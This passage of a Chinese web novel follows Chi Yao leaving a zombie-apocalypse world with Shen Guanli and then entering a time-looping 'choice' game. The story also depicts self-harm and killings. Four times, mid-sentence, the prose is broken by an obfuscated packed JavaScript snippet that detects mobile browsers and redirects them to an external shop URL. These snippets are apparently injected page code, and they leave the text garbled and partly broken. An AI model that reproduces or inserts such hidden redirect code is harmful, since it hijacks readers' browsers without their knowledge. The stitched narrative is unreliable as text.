池遥不清楚个中缘由,可想到沈观宴曾经告诉她的过往,心中渐渐有了推测。 他们在门口站了很久,起初是想帮兄弟二人把守病房大门,防止外人进入,后来是想等待沈观宴出来一同离开,到了深夜,就觉得反正已经在门口站很久了,还不如等等看什么时候结束。 “对,我们想着等你出来。”池遥点点头。 “那好,我已经和他谈过了,你们要和他说话的话......”沈观宴看了一眼房间的钟表,此时已经是半夜十一点了,这个时间,已经不适合继续谈话了,沈观离还是个病人,他需要休息。 “这么晚了,我们当然不是要找他,是想等你出来蹭你的车离开。”池遥立刻理解了他的意思,“我们走吧?” “等等!” 然而,房间内却传来了熟悉的声音,沈观离叫住了他们。 他的目光转向池遥,轻轻叫出了她的名字。 “池小姐。” 然而,他一时间却又不知道该说什么,只能静静地望着她。 “我和沈观离说几句话,你们先走吧,不用等我。”池遥看向身旁的沈观宴和韩厢月,二人会意地点了点头。 等两人离开,池遥才关上病房门,走到沈观离的床前,坐到了病床旁的椅子上。 一时间,两人都没有开口。 沈观离的目光描摹着池遥的面容。 沈观宴出国留学之后,他彻底陷入孤立无援的境地。 繁重的学业,公司的事务,对外的体面,时时刻刻让他如坠泥沼。 慢慢地,他开始发现,他的时间越来越不够用了。 身体似乎逐渐不听使唤,很多时候他的意识还在,却无法驱动身体行动,身上仿佛背负了沉重的铅块,越来越重,压得他无法行动。 又一个暑假,沈观宴从海外回到家里,整个人变了一副模样。 两年的海外生活,让他逐渐变得开朗起来,然而,回到家不过几天,又变成之前那副阴晴不定的模样。 这一次,沈观离没有过多关注弟弟。 他忙着遮掩自己的异状,根本没有多余的注意力关注别人。 夜间,摘下手表,沈观离慢慢撕开腕间刚刚结痂的伤口,目光无神地望着再次溢出的血。 门外有脚步声经过,沈观离透过门缝,看到了沈观宴的身影。 “嘶!” 突然,门外的沈观宴倒抽了一口气。 他突然举起手腕,震惊地盯着手腕上不知何时出现的伤口看。 很快,丧尸爆发,沈家建立了北方基地,沈观离和沈观宴均觉醒了特殊能力。 作为沈家的继承人,沈观离带人清剿城内的丧尸。 他身体不好,无法与丧尸战斗,能力也不能用于战斗,最终,只能握紧了刀子,默默刺进了自己的身体,发动能力,周边的丧尸身上顿时出现了和他一样的伤口,趁着丧尸们因受伤减速,沈观离身边的士兵们立刻冲上去,消灭了丧尸。 回到父亲面前时,沈观离一身白衣彻底被鲜血浸透。 听说了他的表现,其他人纷纷交头接耳,看向沈观离的目光有些异样。 不远处,沈观宴也穿着一身白衣,衣装整洁,昂首挺立,显得一身狼狈的他,更加无用了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017881|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听说沈家的两个儿子都觉醒能力了?” “是啊,不过本以为沈家继承人会很优秀呢,结果是个特别无用的能力。” “岂止无用啊,简直太不体面了。” 为了能对丧尸保有最大的攻击性,沈观离必须随时确保自己伤痕累累,自己伤得愈重,能力反而越强,可鲜血淋漓的伤口却彻底剥夺掉他最后一层掩饰,他不可能用一副令人厌恶的模样去出席晚宴,参加会议,渐渐地,沈家继承人变成了一个真正的废人。 屡屡重伤加上严重的心理问题,沈观离常常陷入昏迷,无法醒来。 而有意识的时候,沈观离开始寻找自己能做的事情。 沈家垄断了能力屏蔽仪的生产线,他亲自去过好几次生产屏蔽仪的实验室,亲眼看着冰柜里的高等丧尸愈发干瘪。 起初,那只高等丧尸还是人类的模样,见到沈观离的脸,还会挣扎着向他求救。 沈观离想过帮忙,可他的身份不允许他那样做。 因此,在得知黑市捕获了新的高等丧尸后,他主动请缨将三只高等丧尸带回研究所,心中却决定放生它们。 然而,他却遇到了池遥。 如果是池遥的话,应该可以把他带到与北方基地完全无关的地方去吧? 沈观离第一次产生了这种荒诞的想法。 被池遥拒绝是意料之中的事,回到北方基地后,他因弄丢高等丧尸,被管理层疏远,终日浑浑噩噩地囚在房中养病。 池遥再次出现了。 第二次机会,他可以跟随池遥离开吧? 然而,池遥却告诉了他天山的丧尸王即将发动丧尸潮的消息。 为了保护基地,他再次选择了留下。 身心俱疲,却仍旧选择了自己的使命。 可这一次,他已经没有使命在身了,池遥这次还会愿意带他离开吗? “你已经决定在北方基地住下了吗?”沈观离问池遥。 “不,我本来早就应该离开了,是为了等你苏醒才一直留在这里的。”池遥坦言。 沈观离的心情忽然明朗几分。 “这样啊......”他小心翼翼地观察池遥的表情,“我已经不是沈家继承人了,池小姐,这一次,你愿意带我走吗?” 然而,池遥却没有回答他的问题。 两人沉默了一阵,池遥突然露出略显复杂的神色,有些犹豫地开口。 “沈观离,我是不是从来没有告诉过你我的身份?” “我其实不是这个世界的人,我是从其他世界来到这里的旅人。” “什么?” 沈观离自然知道旅人的事,但对此了解不多。 池遥思考了一会儿,就从头讲起了自己的经历。 她简略地讲起自己从和曲卓分开以来的经历,着重讲了殷蘅对她说起的事。 “殷蘅说,所有世界里最早遭遇末日的事一个叫做方舟的世界,那里受到了大洪水的侵袭......” 直到现在,她还对殷蘅的每一句话印象深刻。 殷蘅在池遥心中和其他所有人是不同的,他的存在本就神秘至极,又仿佛一个引路人,为她拉开了光怪陆离的各个世界的大门。 沈观离原本一直垂着眼听她讲述,听到这里,忽然抬眼观察她的表情。 “池遥,”这一次,他直接叫了池遥的名字,“你对那个叫殷蘅的能力者,很有好感吗?” 143. 重返天山13 在池遥心里,殷蘅的存在一直极为特别。 或许是因为他身上谜团重重,或许是因为在医院遇到诸多鬼怪的奇妙经历,或许是因为殷蘅帮助池遥确定了曲卓的去处,她对殷蘅总是感激大于戒备的。 尽管两人只相处了几个小时就短暂分开,日后大概也不会有机会再见。 “是。” 反正与殷蘅见面的可能性极低,池遥没有掩饰自己的想法,朝沈观离点了点头。 沈观离的神色隐隐低落几分,池遥继续讲述自己的经历,一直讲到自己回到被丧尸潮攻击的北方基地,见到意欲与丧尸同归于尽的沈观离为止。 “所以,我很快就要离开这个世界了。”说到这里,池遥抿了抿唇,“但是,如果你想和我一起离开的话……” 她抬眼,分外认真地凝视着沈观离的脸。 “沈观离,你想成为旅人吗?” 沈观宴成为名正言顺的继承人后,沈观离在北方基地的地位就会显得有些尴尬,更何况,沈观离看起来已经不想留在北方基地了。 可是,离开这个世界,去到另一个世界实在是太重大的决定,池遥不愿意劝说沈观离,思来想去,补充道。 “但是,我还是没办法带你离开,我有自己的目的,没办法在任何一个地方停留。我只是觉得,如果你不愿留在北方基地,说不定还有其他的去处。” 沉默片刻,沈观离问她。 “池小姐,你说末日是每个小世界都会经历的灾难,是这样吧?” 池遥点头。 “而且,你之前遇到的其他旅人说,这个世界的危险系数很高,丧尸进化速度很快,没错吧?” “没错,但那也许只是她的推测,不一定是真实的。” 回想起阿霓的话,池遥微微蹙眉。 “你说,最早遭受末日的是一个叫方舟的世界,那么,方舟说不定就是所有末日世界的起点。”沈观离的语气愈发坚定,“我想去方舟看看,如果可以的话,说不定可以找到这些世界遭受末日的共性。” 丧尸究竟该如何定性,随着末日到来产生的一系列变化又是因为什么,说不定可以在其他世界找到答案。 池遥观察着沈观离的神色。 苏醒后,他的神色又恢复了在人前强装体面的样子,眼神中没什么情绪波动,透着淡淡的死意。 池遥很担心,他这次醒来后又会陷入更长时间的昏睡。 而现在,有了真正想做的事,沈观离的眼中才终于有了光彩。 “那要快点好起来啊,我等着你和我们一起去景点。” 池遥终于放下心,露出了真心实意的笑容,轻轻握了一下沈观离的手。 这一次,沈观离反手攥紧了她的手指,力道很紧。 第二天,北方基地正式宣布了沈家继承人更换为沈观宴的消息,随即,沈观宴提出扩张北方基地的建议,一旦正式接任北方基地的事务,他就无法顾及饶城基地,饶城基地距离北方基地不远,可以把饶城基地纳入北方基地的领地内,而一直保护着饶城基地的异空间道具也可以同时覆盖到北方基地。 离开丧尸围城世界的前一天,沈观宴空出一下午的时间,在饶城基地给池遥和苏榕送行,霍云初,韩厢月,池遥的丧尸伙伴们都在场。林北辰第二天要开车送他们去景点,就没参与。 而沈观离下午在医院复查身体,也没有参与。他要和池遥一同离开的消息只秘密告诉了沈观宴几人,并没有向沈家报告。 沈观宴提前去附近的山上猎了几头变异兽,在自建房外的院子里支起烧烤架,烤起了高等丧尸也能食用的变异兽肉串。 他还带来了一瓶用基地农田培育的葡萄发酵的新鲜葡萄酒,只不过环视一周,高等丧尸不能饮酒,池遥不喝酒,苏榕和心悦未成年,只能自斟自饮。 只不过,苏榕坚称他只是外表年龄停滞在了觉醒天赋的时候,实际上已经去过了很多小世界,度过了很长时间,并非真正的未成年,以此讨要葡萄酒喝,喝了一小杯就醉得走不动路,变成小猫四脚朝天地窝在池遥怀里睡着了。 夜幕降临,一群人吃饱喝足,各自聚集在庭院里闲聊。 而池遥则将空间里数不清的晶核全部取了出来,留给了心悦。 这些晶核在这个世界是非常有用的货币,带去其他世界反而没有意义。 除此之外,空间里还有不少物品需要解决。 “我考虑了好几天,还是决定把这个道具留给你。”池遥将冷冻道具递给沈观宴手中。 霍云初的实力太强,一旦再次陷入混乱状态,唯一一个能够治愈他的池遥又不在,北方基地很有可能会遭到反噬。 冷冻道具留在沈观宴手里,他至少还有制约霍云初的手段。 “你要去的是一个全新的世界,还是多带些道具比较好。”沈观宴将道具重新推回池遥手里。 “拿着吧。” 另一侧,传来霍云初的声音,他盯着池遥手中的道具,神色晦暗不明。 “我也不确定以后会不会再次失控,你拿着道具,还能在被我杀死之前控制住我。” 沈观宴僵着身体,站在原地没动,表现出的拒绝态度十分明显。 可是,如今的他不止代表自己,还代表着北方基地。 池遥把道具塞进他手里,担心他拒绝,连忙后退几步溜走了。 不远处,韩厢月手持酒杯,独自一人孤零零地站在院里,抬头仰望着头顶清晰可见的弯月。 池遥来到了韩厢月身边。 “在想什么?” “在想我要是没变成高等丧尸就好了。”韩厢月侧头看她,神色复杂,声音很轻。 池遥心说他当时那副样子,要是不变成高等丧尸就死了,又瞬间想到韩厢月会读心,有点心虚地转换了话题。 “你喝醉了吗?” 他身上的酒气太浓重,仿佛浑身都充盈着甜蜜的葡萄香气,池遥瞄了一眼韩厢月手里的酒杯,酒液分毫未动,高等丧尸无法饮酒。 “没呢。” 笑意柔软的青年叹了口气,抬手轻轻碰了一下池遥的耳朵。 一直以来,韩厢月对能力者的认知都十分单一,他以为能力者只有天赋者一种类别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030119|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,在亲眼目睹了从普通人觉醒能力成为能力者的心悦后,他却产生了极大的心绪波动。 他一直认为自己和池遥不同,是一种巨大的鸿沟,他们在“物种”方面就已经不被归为一类。 池遥身边总是围绕着很多人,沈观宴,苏榕,沈观离,林北辰,这些人无一不是能力者,有资格同她并肩作战,也有成为旅人的资格。 池遥来此的目的是找朋友,她没有回到这个世界的理由。在她离开后,沈观宴或许可以通过景点与她重逢,可韩厢月什么也做不到。 作为高等丧尸,韩厢月注定要留在这个没有池遥的世界里,无望地等待她再度降临。 可是,如果他一开始就选择不成为高等丧尸呢? 心悦能够在危急时刻觉醒能力,如果当初不寻求霍云初的帮助,自己是不是也会...... 是不是也会有那么一丝一毫的可能,变成和她同等的存在呢? 想要追随池遥离开的沈观离最终实现了心愿。 留在此处的霍云初一直都想要成为丧尸王,沈观宴的心愿就是保护北方基地和饶城基地。 韩厢月没什么想做的事,他对成为丧尸和人类并没有明确的喜恶。 可他想陪在池遥身边,即便不在池遥身边,也想和她呼吸同一片空气,仰望着同一颗月亮。 这种复杂的心绪,韩厢月无法向池遥表明。 “池遥,你有什么东西送给我吗?” 最终,韩厢月还是没忍住,主动开口向池遥讨要礼物,开口后忽然反应过来,击退丧尸潮后,池遥就已经给所有伙伴送过离别礼物,是各种实用价值为零的小纪念品。 留不住池遥,只能多留下几件她的物品了。 池遥思索一会儿,实在找不到什么可以送给他的东西,忽然听到韩厢月再次开口。 “你的对讲机,可以留给我吗?” 对讲机是北方基地的能力者人手一个的小东西,池遥本来是打算原样归还给沈观宴的,只不过,既然韩厢月想要,给他也无妨。 为了防止丢失,池遥的对讲机拴着一枚毛球挂件,韩厢月接过对讲机,掌心将柔软的毛球紧紧包裹在掌心里。 露天烧烤的时间转瞬即逝,很快就到了第二天,林北辰驾车,载着已经收拾妥当的沈观离,来到了饶城基地。 池遥在伙伴们的注视之下,抱着小猫,坐进了车后座。 车子一路风驰电掣,很快,景点近在眼前。 “之后还有回来的打算吗?”林北辰停好车,从前排回头望她。 “我也不清楚。”池遥朝林北辰笑笑,到了临别时刻,她看林北辰这家伙都觉得顺眼了不少。 “你们都要好好活着,把北方基地发展得越来越好。” 她献上最真诚的祝愿。 很快,北方基地将会形成以沈观宴为中心,韩厢月,林北辰辅佐,霍云初远程监督的全新管理群体。 一路相伴的伙伴们各自奔向新的旅途,而池遥也将迎来新的景点打卡体验。 她走下车,毅然决然地踏入了景点区域。 144. 选择循环1 【系统启动中】 验证旅人身份...... 正在提取玩家近期记忆...... Loading...... 初始化完成。 【系统提示】 欢迎你,旅人。 欢迎来到前往鲸落世界的景点。本次打卡过程中,系统会提取旅人近期的一段回忆,而你将重新经历回忆剧情,完成回忆目标即可成功打卡。 请谨记,回忆剧情中你的每一次选择,都会被记录,继承,并用于推演剧情的下一步状态。 那么,祝你好运。 【是否开始打卡?】 ?是 □否(选择此项后立即被送出景点) Loading...... 【加载完成】 你是初次进入北方基地的外来能力者池遥,这是你在北方基地度过的第一个夜晚。 尽管你是第一次来到北方基地,但众人都知道你的身份其实是沈家继承人沈观离的女朋友。 在此之前,你已经与你的伙伴沈观宴和韩厢月一同去到天山,遇见了天山的丧尸王霍云初,很快,北方基地即将迎来丧尸潮的攻击,而你的目标就是在24小时内守住H国现存最大的基地,北方基地。 现在,请开始你的故事。 —— 所见之处一片漆黑,只有浮动在黑暗中不断变换的白色方块字体不停加载。 终于,眼前的字块逐渐变淡,而漆黑的视野也渐渐露出原貌。 池遥慢慢地吐出一口浊气,打量着眼前的环境。 此时,她正身处于沈家大宅内,沈家为她安排的客房里。 看来,和介绍中显示的一样,景点提取了她刚来到北方基地时的记忆。 池遥抬起手表,看了一眼此时显示的时间。 半夜十二点整。 她干脆坐下来,认真整理了一番思绪。 与她经历过的其他景点不同,此处景点的负责人并未现身,在她进入景点的瞬间,眼前一黑,浑身一僵,仿佛被什么东西冻结在原地,紧接着,伴随着有规律的机械音,眼前出现了一行又一行文字。 而在幕后操作一切的“系统”,应该就是景点负责人的化身了。 回想系统提示的内容,她的目标是二十四小时内守住北方基地,也就是说,只要在明天十二点之前守住北方基地,就可以通过景点。 可是,在她的回忆中,这一天北方基地并未遭受袭击,结合文字内容中有关霍云初的部分,恐怕她接下来要体验的“剧情”和她的回忆有很大区别。 不仅如此,她到底为什么会被设定成沈观离的女朋友啊? 而且,她在踏入景点后就立刻被传送到了这里,上一次打卡景点时,是所有旅人一同被传送进了景点世界,这一次又是什么情况呢? 韩厢月和沈观宴等人一定是回忆中的存在,可这位和她绑定情侣关系的沈观离到底是与她一同踏入景点的沈观离,还是她回忆里的沈观离呢? 如果这次的景点世界是多人共享的世界,那么苏榕又会在这个故事中担任什么位置呢? 思及此处,池遥从床边站起来,翻箱倒柜地检查起了房间里的物品。 在香林山景点时,她在房间里找到了景点内的规则指南,而方才显示在眼前的文字中,并未提及到任何需要遵守的规则,说不定在房间里能有所发现。 然而,搜寻一圈,池遥失望地发现,房间里的物品和自己回忆中一模一样,没有任何线索。 只不过,上次来到沈家时就发现了,沈家客房内提供的所有物品质量都很不错,她不介意再薅一遍羊毛。 于是,她随手拿起桌上的香薰,习惯性往空间吊坠里放,动作却突然顿住了。 进入景点时无法自控的感觉又来了,她能感觉到自己的身体再次被某种无形中的力量控制,眼睁睁看着自己的手将香薰瓶子放回原位。 【系统提示:剧情中的所有物品只存在于景点世界,无法离开景点。】 一行加粗红色字体出现在手边的虚空中,停顿了几秒,消失了。 文字消失,池遥的身体再度恢复了自由。 她再次举起香薰瓶子,拨了几下香薰柱,将一点点香薰液体涂抹在手背上。 系统提示并未出现。 池遥放下香薰,从空间吊坠内拿出一本书,放在桌上,停顿了几秒,又慢慢收回到吊坠空间内。 全程,系统提示仍旧没有出现。 池遥这下明白了,在系统的视角之下,景点世界和她的吊坠空间是两个独立空间,景点里原有的物品无法脱离景点,因此无法被收纳进空间里。但景点并不拒绝外来物,因此她依旧能从空间里取出物品,取出的物品也能原样收回。 不止如此,红色字体出现的瞬间,池遥也明白了景点的运作规则。 在香林山景点,旅人有触犯规则的权利,触犯规则后会接受相应惩罚,而这个景点不同,“系统”会在旅人触犯规则之前剥夺身体控制权,强行制止旅人的行为,因此,根本没有触犯规则的可能性。 房间里的物品没有问题,她没必要继续停留在房间里了,池遥走到门前,握住门把手,刚想要按下去,身体被操控的感觉再度袭来,一行白色字体再度在眼前显现。 【你提前与你的伙伴们约好夜里见面,一同商议霍云初的事。请问你现在要去哪儿?】 问题停留几秒钟,下面缓缓显现出几个选项。 【A.沈观离房间】 【B.沈观宴房间】 【C.韩厢月房间】 【D.留在房间里,哪儿也不去】 如果一切按照她的回忆继续照常进行,沈观宴此时大概不在自己的房间里,而在韩厢月的房间内,因此,B选项第一个排除,留在房间内也不现实,房间里已经没有线索了。 池遥现在最想见的人,就是沈观离。 只有见到了沈观离,才能判断对方到底是不是记忆中的人,因此,她应该去沈观离的房间。 脑海中的念头刚刚确定,除了A选项之外,眼前的问题与其他选项再度消失,她已经做出了选择。 身体不受控制地动了起来,朝着沈观离房间的方向匀速前进,直到手被操纵着打开了沈观离房间的门,眼前的A选项才彻底消失,身体恢复了正常。 池遥想到了最初的文字提示。 ——请谨记,回忆剧情中你的每一次选择,都会被记录,继承,并用于推演剧情的下一步状态。 看来,刚刚的选择题还会出现很多次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034675|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>走进沈观离的房间,面前的场景与回忆中完全相同,沈观离病恹恹地倒在床上。 然而,当他抬起头,看向池遥的时候,却露出了熟悉的笑容。 “池遥,好神奇,在这段剧情中,你居然是我的女朋友。” 是她认识的沈观离本人。 池遥在心中松了口气,走上前,与他交流起来。 沈观离醒来的时间与她相同,都是十二点整,醒来后,他也同样做了一次有四个选项的选择题,但沈观离知道池遥会主动来找他,因此选了留在房间里的选项。 那么,除了系统弹出的四个选项,还有其他的可能性吗? 池遥不由想到这个问题。 在看到问题后的四个选项时,不需要她开口回答,系统会第一时间确定脑海中浮现出的答案。 思维是有惯性的,尤其是经历了九年义务教育和中考高考的高级做题家池遥和沈观离,看到选择题,第一反应就是在选项中选择正确选项,有现成的答案在,大脑就不会再去重新思索,得出一个全新答案了。 沈观离的目的和她的目的相同,都是在二十四小时之内守住北方基地,二人要做的事相同,沟通十分顺利。 这个时候,苏榕在哪里呢? 池遥是在这段回忆的两天后,在北方基地外的小巷遇见苏榕的,仔细想想,苏榕此时和他们的距离大概不远,隔着北方基地的城墙,苏榕如果想来找他们汇合,显然要比池遥和沈观离离开北方基地去找他容易得多。 这么想着,池遥起身,和沈观离一同照着记忆中的路径,穿过制造能力屏蔽仪的地下实验室,来到了韩厢月的房间,果然,沈观宴和韩厢月都在房间里。 沈观宴和韩厢月对二人说的话语和记忆中如出一辙,但是二人对沈观离的敌意却比池遥记忆中更强一些。 “可能是因为你现在和我成为了情侣关系吧。”沈观离叹了口气,有点无奈。 与沈观宴二人分开后,记忆里,池遥是被沈观离送回房间的,但池遥眼前一直没有弹出选项,身体仍旧可以自由活动,因此,她决定和沈观离兵分两路,先趁着夜色把沈家大宅搜寻一遍,看看有没有什么和记忆有出入的地方。 池遥独自一人,顺着原路返回房间,她对沈家宅邸并不熟悉,搜索沈家的任务主要落在了沈观离身上,她独自一人,一边打哈欠一边慢吞吞地上楼,突然,从楼上走下一位穿着制服,手拿清洁工具,戴着口罩的佣人。 奇怪,记忆里,沈观离送她回房间的时候,有路过的佣人吗? 池遥抬手看了一眼手表,恍然发现,与记忆中不同,上次她出门遇到沈观离时,已经是凌晨两点以后了,而这一次他们都在凌晨十二点醒来,相遇,谈话,去找韩厢月等人的时间都比记忆里更早。 因此,现在参考记忆已经没用了。 “那个,我出来找水喝,找不到自己的房间了,你能带我回房间吗?”池遥一把揪住佣人的袖子,语气诚恳,但揪着对方的手劲却很大。 然而,对方却没有说话,反而烦躁地猛甩袖子,似乎要把她甩开。 “什么情况?你们就这么对待客人?”池遥另一只手立刻伸向对方的脸,一把揭开佣人脸上的口罩。 口罩下面,是一张血肉模糊的脸。 是丧尸! 145. 选择循环2 按照池遥以往的行事作风,她一定会第一时间抓住面前的丧尸,带到韩厢月处查看情况。 然而,在她发现丧尸的瞬间,身体却再度不受控制地定在原地,她眼睁睁地看着丧尸动作僵硬地将口罩重新戴好,若无其事地与她擦肩而过,一步步下了楼。 这只丧尸是怎么进入沈家宅邸内部的? 池遥紧盯着丧尸的身影消失在转角处,暗自思索。 究竟是从北方基地外的丧尸潜入到了基地内部,还是这名佣人被感染成了丧尸? 不止如此,普通丧尸没有思考能力,按理来说,不会伪装成普通人,混进基地这种人类聚集区,只有可能是受丧尸王指使。 【你在沈家宅邸竟然发现了丧尸的存在!接下来你该怎么做?】 【A.立即联系沈观离,告知此事】 【B.立即联系沈观宴,告知此事】 【C.立即联系韩厢月,告知此事】 【D.不联系任何人,自己独立处理此事】 若是在现实世界,池遥一定会第一时间选择韩厢月,毕竟韩厢月的身份是高等丧尸,但此时在景点世界内的韩厢月是池遥回忆里的韩厢月,并非他本人,池遥并不确定联系韩厢月是否有效,反而是与她一同进入景点的沈观离更可靠。 更何况,她刚刚还和沈观离约好分头调查,此时更应该第一时间联系沈观离。 这个念头出现的瞬间,眼前再度只剩下A选项的文字。 然而,她出门的时候并未携带对讲机,要如何联系沈观离? 池遥低下头,看到自己原本垂下的手不受控制地举高到半空中,随后,手中慢慢显现出一个漆黑的轮廓,渐渐成形,外壳逐渐变成了对讲机的模样。 是直接在她手中变出了一枚对讲机吗? 怪不得系统禁止她带走景点内部的物品,恐怕这些物品并不真实存在,只是组成回忆剧情的一部分。 对讲机自动连接到沈观离处,很快,池遥就听到对讲机对面传来了沈观离的声音。 “怎么了,池遥?” 身体终于摆脱了控制,池遥立刻将出现丧尸的事告诉对方,沈观离则表示他会立即通知家主。 切断与沈观离的联系,池遥思索片刻,再次联系了韩厢月,沈观宴和韩厢月在一起,韩厢月知道此事代表沈观宴也一定知道了,这两个人一定会采取相应行动。 如果沈宅内已经出现丧尸,北方基地内的其他地方恐怕更糟,说不定这座基地已经在无人察觉之时,被丧尸占据了。 她得尽快去确定基地其他场所的情况。 池遥在心中叹了口气,抬脚想继续前进,身体却再度被定在原地,一动不动。 【此刻,你意识到,已经有丧尸暗中潜入基地内部,接下来你想去哪里?】 【A.留在沈宅】 【B.去城墙上】 【C.去基地入口】 【D.去基地居民区】 她最想去哪里? 刚刚遇见做佣人打扮的丧尸是从楼上走下来的,此时正是凌晨三点,一个丧尸,半夜去到楼上做什么? 她得上楼看看情况。 选项A再次浮现在眼前,驱使着池遥走上楼梯,停留在四楼,身体再度解除了控制。 看来,这只丧尸之前去到的是四层。 池遥一间间检查过去,起初,她担心被房间里的人发现,凝神放出一丝细微的精神力细丝,透过门缝进入房间,查看房间内的情况。 很快,她就放弃了这个办法。 她对精神力的控制还不到火候,此时使用精神力极度耗费体力,她还要保留体力去应对这之后的种种变数。 于是,每来到一间房间门前,她就放轻脚步,轻轻打开门,朝里面望一眼,确定房间内没有任何问题就立刻离开。 走到走廊尽头的房间前,池遥深吸一口气,尽可能放轻声音,打开门。 一阵浓重的血腥味扑鼻而来。 池遥身体一僵,透过窗外微弱的亮光,她看到脚下的地毯被深色的液体浸湿,映出发亮的水迹。 质地上乘的羊绒地毯被晕染成大片深红色,顺着血迹的方向看去,池遥的目光定在了趴倒在床上的人身上。 此人身穿一套丝绸质地的睡衣,身形高大,此时整个身体都浸泡在半凝固的血泊当中,显然已经死去多时了。 尽管只见过一面,但池遥立刻认出了眼前的人,正是沈家现任家主,沈观离和沈观宴的父亲。 “老爷!” 不知何时,门外传来了佣人的呼唤声,紧接着,一群佣人挤进了房间里,这才看到遭遇不测的家主。 “是她杀了老爷!” “今天只有她一个外人住进沈家,肯定和她脱不了干系!” 池遥听到了佣人们之间的窃窃私语,可她却无法开口为自己辩解,就在看到尸体的瞬间,她的身体再度被定在原地,无法动弹。 难道这种被动经受选择的状态会一直伴随着她吗? 站在所有佣人最前面的是一位上了年纪,穿着与其他佣人明显不同的女佣,她板着脸,犀利的目光紧盯着池遥。 “池小姐,这个时间点,您为什么会出现在家主的房间里?” 【沈家佣人怀疑沈家家主的死亡与你有关,你该如何行动?】 果然,女佣的话音刚落,池遥眼前就再度弹出一行文字。 【A.向佣人们坦白真相】 【B.用证据证明自己并非凶手】 【C.主动认罪】 【D.立刻逃跑】 沈家主的死亡恐怕是刚刚与她擦肩而过的丧尸的杰作,与池遥无关,她不可能主动承认并非自己犯下的罪行,眼前的几位佣人已经堵死了离开房门的路,此时立刻逃跑不现实,反而会加重自己的嫌疑。 证据...... 如果自己能够找到证据的话,自然是选B最为稳妥,可是她才进房间不到一分钟,这些佣人就紧随其后,她甚至没来得及靠近尸体,手里自然没有任何证据。 这种情况下,只有坦白真相了。 其他选项逐渐变淡消失,眼前只留下了A选项,池遥立刻开口。 “因为我刚刚在楼梯间遇到一个鬼鬼祟祟的佣人从楼上下来,现在这个时间,不知道他为什么会出现在楼上,我就上楼看看情况,结果就撞见这一幕。” “你们现在的当务之急不是处理我,而是找到那个鬼鬼祟祟的佣人!” 丧尸的事她已经告知了沈观离和韩厢月,如果太多人知道这件事,反而容易造成混乱,因此,池遥省略了自己在楼梯上遇到的佣人,真实身份实际是丧尸的事。 眼下,她只需要摆脱掉这些佣人,就得赶紧与沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038875|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观离汇合,或者立刻离开沈宅,去基地其他地点查看情况,她有一种不好的预感,基地内部恐怕已经被丧尸渗透了。 “池小姐,这个时间正是早班佣人的起床时间,有佣人出现是很正常的,并不能作为您出现在这里的理由。” 然而,最前方的女佣却拦住了她。 “您有杀害家主的嫌疑,我们不能让你离开。” 女佣身后的几个佣人主动走上前,组成一个包围圈,把她围在最中间,拿出绳子,绑住了池遥的双手。 “看住她,别让她跑了,我现在就去通知两位少爷。” 女佣的身影消失在房间里,与此同时,池遥突然察觉到,站在自己背后的佣人,抬起一只手,按住了她的肩膀。 对方的力气大得惊人,池遥只觉得自己的肩膀仿佛要被他生生捏碎,可最令她惊疑不定的并不是这一点,而是对方手心的温度。 即便隔着肩膀上一层衣物,她仍旧感觉到了对方冰冷的体温。 心中不好的预感愈发扩大,她本能地想要抬手,可自己的双手被紧紧缚住,根本无法触碰到对方。 “噗嗤——” 细微的声音响起。 池遥只觉得身体一阵刺骨的冰凉,一把冰冷的刀子从她后腰捅进来,洞穿了她。 剧烈的痛苦中,她逐渐失去了意识。 【加载完成】 再次恢复意识时,自己仍旧站在沈家宅邸的客房内,眼前的四个大字逐渐消失。 自己又回到了回忆刚开始的时候? 池遥本能地想要抬起胳膊查看时间,可她的身体却再次被神秘的力量操控,僵硬地站在原地,一动不动。 过了一会儿,这具身体才抬起手腕,低下头,看了一眼时间。 不过,这次的动作十分奇怪,明明池遥心中的意愿就是想看时间,然而,这抬起手腕看时间的动作似乎并不是出于自己的意愿,而是另一重操纵这副身体的存在刚好操控她做出了这个动作。 手表显示半夜十二点整。 正是她刚进入景点时的时间。 